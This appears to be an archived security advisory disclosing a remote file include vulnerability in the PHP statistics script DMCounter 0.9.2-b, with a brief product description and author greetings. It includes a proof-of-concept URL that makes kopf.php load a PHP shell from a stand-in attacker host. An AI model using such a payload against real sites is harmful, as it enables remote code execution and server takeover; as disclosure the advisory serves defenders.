TUCoPS :: HP Unsorted D :: b06-1936.htm

Dmcounter remote file include
DMCounter Remote File Include
DMCounter Remote File Include



Script: DMCounter
Version: 0.9.2-b
Language: PHP
Problem: Remote File Include
Vendor: http://sourceforge.net/projects/dmcounter 
Discovered by: beford 

Description
============Statistics software based on PHP which does not require any database
support but just uses flat files. Daily + monthly visits, which pages, from
where, browsers and OSs are listed and visually presented

Problem
============A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote
location. A remote user can execute arbitrary PHP code and operating
system commands on the target system with the privileges of the
target web service.

The vulnerable file is kopf.php

1 =============http://victim.com/dmcounter/kopf.php?rootdir=http://attacker.com/phpshell.txt? 

Greets:
============= ][GB][
Zetha - http://odiameporsernegro.org 
 uyx
 fallen - x33x37.org

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986- AOH